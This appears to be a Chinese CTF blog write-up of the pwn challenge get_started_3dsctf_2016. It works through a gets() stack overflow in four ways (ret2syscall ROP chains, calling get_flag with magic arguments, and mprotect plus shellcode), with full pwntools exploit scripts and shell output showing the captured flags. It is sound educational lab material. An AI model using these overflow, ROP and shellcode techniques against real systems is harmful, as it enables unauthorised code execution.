【pwn做题记录】08.get_started_3dsctf_2016 1

例题:get_started_3dsctf_2016 1

首先检查一下文件:

C:\Users\A\Downloads>checksec get_started_3dsctf_2016
[*] 'C:\\Users\\A\\Downloads\\get_started_3dsctf_2016'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

上面的意思依次是:

  • 32位程序,小端序
  • GOT部分可写
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

用IDA打开,查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

看起来是简单的栈溢出,但是我们双击v4看一下堆栈:

-00000038 var_38          db ?
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
……
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  r              db 4 dup(?)
+00000004 argc            dd ?
+00000008 argv            dd ?                    ; offset
+0000000C envp            dd ?                    ; offset
+00000010
+00000010 ; end of stack variables

发现原本r前面有一个s之类的标记,现在没了,其实这是一个外平栈,这里不需要太多的了解,只需要知道,这里r前面没有previous ebp,即没有存储父函数的ebp,所以只需要0x38个字节就可以栈溢出了,不用+4。

解法1(ret2syscall)

思路分析

首先,这是一个静态链接的程序,有两种办法查看:
一是用linux的file命令

二是用IDA打开,看左边的函数,都是白色背景标记,说明没有动态链接的函数,即是静态程序

静态程序,就不得不想起其有丰富的pop,ret指令,即可以为我们构成ret2syscall(就是构造execve函数)。
这里提及一下execve函数(其32位的汇编如下,其作用和system类似):

mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80

也就说,我们只要找到这些指令,就可以构造execve。


这里我们就用下面几条指令,刚好凑齐我们所需要的指令

0x080b91e6 : pop eax ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0806d7e5 : int 0x80

接下来再找一下/bin/sh或cat flag类似的字符串:

发现都没有,那我们就自己构造。
构造在哪里呢?我们看一下bss段

有一个_tmbuf,那就用它来存储我们的/bin/sh

.bss:080ECD60 _tmbuf          db    ? ; 

思路总结:

  • 利用gets栈溢出,返回地址覆盖为gets,修改_tmbuf的值为/bin/sh,并返回到main函数,准备二次栈溢出
  • 接下来采用ROP思想,构造execve函数。

攻击脚本

#!/bin/python
from pwn import *
#context.log_level = 'debug'

elf = ELF("./get_started_3dsctf_2016")
gets = elf.symbols["gets"]
main = elf.symbols["main"]

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int_80 = 0x0806d7e5
buf = 0x080ecd60

local = 1
if local == 1:
  io = process("./get_started_3dsctf_2016")
else:
  io = remote("node5.buuoj.cn",25528)

payload = b'a' * 0x38
payload += p32(gets) + p32(main) + p32(buf)
io.sendline(payload)

payload = b'/bin/sh\x00'
io.sendline(payload)

payload = b'a' * 0x38
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(buf)
payload += p32(int_80)
io.sendline(payload)

io.interactive()

就可以得到flag了:

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 25528: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{820dd566-d6a6-4864-933d-5552e9bf11b2}
$ 
[*] Closed connection to node5.buuoj.cn port 25528

解法2(ret2syscall)

思路分析

虽然也是ret2syscall,但这次开拓一下思维,不使用gets或read输入,用mov来赋值
首先说一下一条指令

mov [edx],eax

这条指令会把eax的值赋给edx指向的值,如果我们的edx存储的是bss段的buf的地址,eax存储的是/bin/sh(要分两次,因为eax只能存储4字节,后面看攻击脚本就知道了),那么就可以实现将buf的值赋值为/bin/sh了。

先找一下mov [ebx],eax的指令,发现还真有

就用这条指令

0x080557ab : mov dword ptr [edx], eax ; ret

攻击脚本

#!/bin/python
from pwn import *
#context.log_level = 'debug'

buf = 0x080ecd60 # 可以在bss段找到
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
mov_edx_eax_ret = 0x080557ab # mov [edx],eax; ret
int_80 = 0x0806d7e5

local = 1
if local == 1:
  io = process("./get_started_3dsctf_2016")
else:
  io = remote("node5.buuoj.cn",25528)

payload = b'a' * 0x38
# 在buf的位置写下前4字节/bin
payload += p32(pop_eax_ret) + b'/bin' + p32(pop_edx_ecx_ebx_ret) + p32(buf) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
# 在buf+4的位置写下后4字节/sh\x00
payload += p32(pop_eax_ret) + b'/sh\x00' + p32(pop_edx_ecx_ebx_ret) + p32(buf + 4) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
# 构造execve函数
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(buf) + p32(int_80)
io.sendline(payload)

io.interactive()

也可以获取到flag

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 25528: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{820dd566-d6a6-4864-933d-5552e9bf11b2}
$ 
[*] Closed connection to node5.buuoj.cn port 25528

解法3

思路分析

其实我们还可以发现程序里还有一个get_flag函数

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != 255 )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

简单来看,有个fopen("flag.txt", "rt"),while循环里有个putchar(v5);所以粗略来看,这个就是可以读取flag.txt文件的。
因此只要让get_flag函数的参数1为814536271,参数2为425138641就可以查看flag了。

两个参数的值这里用计算器简单计算一下:

当然,为了保证能够正常打开文件并打印出来,最好让get_flag的返回地址为exit函数,以确保正常退出程序。

攻击脚本

(本地调试的话,需要在本地文件夹创建一个flag.txt来测试)

#!/bin/python
from pwn import *
context.log_level = 'debug'

elf = ELF("./get_started_3dsctf_2016")
get_flag = elf.symbols["get_flag"]
elf_exit = elf.symbols["exit"]
a1 = 0x308cd64f
a2 = 0x195719d1

local = 1
if local == 1:
  io = process("./get_started_3dsctf_2016")
else:
  io = remote("node5.buuoj.cn",29568)
 
payload = b'a' * 0x38
payload += p32(get_flag) + p32(elf_exit)
payload += p32(a1) + p32(a2)
io.sendline(payload)
io.recv()

也成功获取到flag{61234823-3d21-4c86-9284-be9b6fa132eb}

解法4(shellcode)

思路分析

这道题看到NX enabled,本以为无法使用shellcode,但程序里有这样一个函数:mprotect
这个函数用于修改内存区域访问权限的系统调用,通常在类 Unix 系统(如 Linux、macOS)中使用。

#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

参数

  • addr:需要修改权限的内存区域的起始地址,必须是系统页大小(通常为 4KB)的整数倍
  • len:内存区域的长度(字节),系统会自动将其向上取整为页大小的整数倍。
  • prot:指定新的内存访问权限,是以下常量的按位或组合:
    • PROT_READ:可读。
    • PROT_WRITE:可写。
    • PROT_EXEC:可执行。
    • PROT_NONE:不可访问。

返回值
- 成功时返回 0,失败时返回 -1,并设置 errno(如 EINVALENOMEM 等)。

由于可读可写可执行的顺序是rwx,因此prot = 4(100)表示可读,prot = 2(010)表示可写,prot = 7(111)表示可读可写可执行。

我们就是利用这样一个函数,修改某部分内存为可执行段。
但是要找哪一个系统页呢?首先要4KB的正数倍,即十六进制后三个是000的。
这里我使用readelf来查找(linux自带的),在IDA里找太麻烦了。

很明显,就.got.plt符合我们的要求,并且其内容是可写的。
因此我们可以把这一段修改为我们的shellcode(用read或gets函数修改)

攻击脚本

#!/bin/python
from pwn import *
#context.log_level = 'debug'

elf = ELF("./get_started_3dsctf_2016")
mprotect = elf.symbols["mprotect"]
read = elf.symbols["read"]

memory = 0x080eb000
# pop_rdx_rcx_rbx_ret用于清理栈,随便三个pop就行,这里为了方便,就用前面解法用到的pop
pop_rdx_rcx_rbx_ret = 0x0806fc30 

local = 1
if local == 1:
  io = process("./get_started_3dsctf_2016")
else:
  io = remote("node5.buuoj.cn",29568)

payload = b'a' * 0x38
# mprotect的len参数这里选择0x1000,记得也要是4KB的整数倍
payload += p32(mprotect) + p32(pop_rdx_rcx_rbx_ret) + p32(memory) + p32(0x1000) + p32(0x7)
# read的返回地址赋值为memory,用于执行shellcode
payload += p32(read) + p32(memory) + p32(0) + p32(memory) + p32(0x100)
io.sendline(payload)

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
io.sendline(shellcode)

io.interactive()

同样也获取到flag了。

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 29568: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{61234823-3d21-4c86-9284-be9b6fa132eb}
$ 
[*] Closed connection to node5.buuoj.cn port 29568

做题总结

  • 静态程序,通常会采用ret2syscall
  • 无/bin/sh通常会通过gets或read函数在bss段输入
  • 外平栈没有privious ebp,因此栈溢出不用再+4
  • 利用mov [edx],eax也可以达到和read,gets一样的输入效果。
  • 要正常显示文件内容,最好不要破坏程序,因此要加上exit()正常退出程序
  • mprotect可以修改某内存的权限,利用它可以强行使用shellcode
posted @ 2025-06-24 15:41  星冥鸢  阅读(79)  评论(0)    收藏  举报